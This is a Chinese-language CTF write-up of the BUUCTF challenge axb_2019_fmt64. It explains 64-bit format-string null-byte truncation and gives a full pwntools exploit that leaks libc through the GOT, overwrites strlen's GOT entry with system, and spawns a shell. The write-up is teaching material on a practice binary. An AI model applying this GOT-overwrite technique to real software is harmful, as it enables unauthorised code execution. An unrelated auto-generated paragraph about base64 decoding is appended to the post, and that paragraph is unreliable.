buu_64位fmPWN——axb_2019_fmt64(64位格式化字符串改got表)不使用fmstr工具包

输入偏移为8这里就不给大家演示了,下面介绍本题折磨我许久的几个点

背景:

64位\x00截断:

​    32位的泄露地址可以用整个payload :payload = p32(泄露地址) + %偏移$x 来构建,但是64位不行
如果这样写,前面的地址数据经p64()打包后占的是8个字节,我们send 的地址和我们构造的格式化字符串中间还有好多个 ‘00’ ,而在字符串中 ‘00’ 就代表了结束,所以在printf到‘00’时,就被认为字符串已经结束了,自然不会继续往后面printf了,也即是说我们的字符串都被’00’给截断了

payload=b'%9$saaaa'+p64(puts_got)#####先输入‘aaaa'避免0截断

难点1:

到这里为止,应该对%k$n有一定的了解了,还是那个原则,%k$n前面有多少个字节,那么就会向第k个参数地址中写多少

payload=b'%'+str(system_high-9).encode('utf-8')+b'c%12$hhn'+b'%'+str(system_low-
#############填入地址值大小的字节个数#############覆盖指定位置

system_high).encode('utf-8')+b'c%13$hn'
payload=payload.ljust(32,b'a')####初始偏移为8,填充为了凑整前面输入占4位偏移
payload+=p64(strlen_addr+2)+p64(strlen_addr)

str(system_high-9),str(system_low-system_high)以及程序自带的9个字节为输出的内容,%hhn不算

到这里为止,应该对%k$n有一定的了解了,还是那个原则,%k$n前面有多少个字节,那么就会向第k个参数地址中写多少

难点2:写入地址的计算看下图:

好好说话之格式化字符串漏洞利用_利用格式化字符串漏洞修改变量值-CSDN博客

插入hollk师傅的文章

难点3:分别计算高地址和低地址

[BUUCTF-axb_2019_fmt64 - -ro0t - 博客园 (cnblogs.com)](https://www.cnblogs.com/sakura-zz/articles/16266299.html) 再次插入大师傅的文章

只有后面3字节不同,截取倒数第三字节和后两字节进行修改

system_addr=libc_base+libc.symbols['system']
system_low=system_addr &0xffff
#################与运算(对于0xffff而言)的目的就是保留低字节的内容,而删去高字节。
system_high=system_addr >>16 &0xff########右移十六位高字节到低字节

exp:

from pwn import * 
from LibcSearcher import LibcSearcher

context(log_level='debug',arch='amd64',os='linux')

io = process('./axb_2019_fmt64')
#io=remote("node5.buuoj.cn",27306)
elf = ELF("./axb_2019_fmt64")
libc=elf.libc
#libc=ELF('/home/ctfshow/Desktop/libc-2.23.so')

def debug():
	gdb.attach(io)
	pause()
	
puts_got = elf.got['puts']
sprintf_got = elf.got["sprintf"]
strlen_addr = elf.got["strlen"]
print(hex(puts_got))

io.recvuntil(b'Please tell me:')
payload=b'%9$saaaa'+p64(puts_got)

io.send(payload)
io.recvuntil(b'Repeater:')
puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
log.success('puts_addr{}'.format(hex(puts_addr)))

#libc=LibcSearcher('puts',puts_addr)
#libc_base=puts_addr-libc.dump('puts')
libc_base=puts_addr-libc.symbols['puts']
log.success('libc_base{}'.format(hex(libc_base)))

#system_addr=libc_base+libc.dump('system')
system_addr=libc_base+libc.symbols['system']
system_low=system_addr &0xffff
system_high=system_addr >>16 &0xff
log.success('system_addr{}'.format(hex(system_addr)))
log.success('system_low{}'.format(hex(system_low)))
log.success('system_hign{}'.format(hex(system_high)))


payload=b'%'+str(system_high-9).encode('utf-8')+b'c%12$hhn'+b'%'+str(system_low-system_high).encode('utf-8')+b'c%13$hn'
payload=payload.ljust(32,b'a')
payload+=p64(strlen_addr+2)+p64(strlen_addr)
debug()
io.send(payload)
#payload2 = "%" + str(high_sys - 9) + "c%12$hhn" + "%" + str(low_sys - high_sys) + "c%13$hn"

io.recvuntil(b'Please tell me:')
payload=b';/bin/sh\x00'
io.send(payload)



io.interactive()

  • 4
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
根据提供的引用内容,我可以回答您的问题。buu base64解码工具是一种用于解码base64编码的工具。在base64编码中,原始数据以ASCII码形式转换为二进制顺序排列,并按照6个bit为一个间隔重新划分。接下来,根据base64编码将重新划分的数据翻译成base64编码形式的数据。而buu base64解码工具可以将经过base64编码的字符串解码为原始数据。这个工具适用于常见的base64隐写题,其中包含多个经过base64编码的字符串。解密规则是提取所有被修过的base64字符串结尾的二进制值,组成一个二进制串,以8位分割并转为十进制值,最终得到对应的ASCII字符串作为base64隐写的结果。因为解码时会舍弃添加的0字符,所以在添加的二进制值中可以不全为0,但不会影响解码结果。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [base64编解码的学习与例题](https://blog.csdn.net/alice60000/article/details/128892826)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* *3* [[MISC]Base64隐写](https://blog.csdn.net/Sanctuary1307/article/details/113836907)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值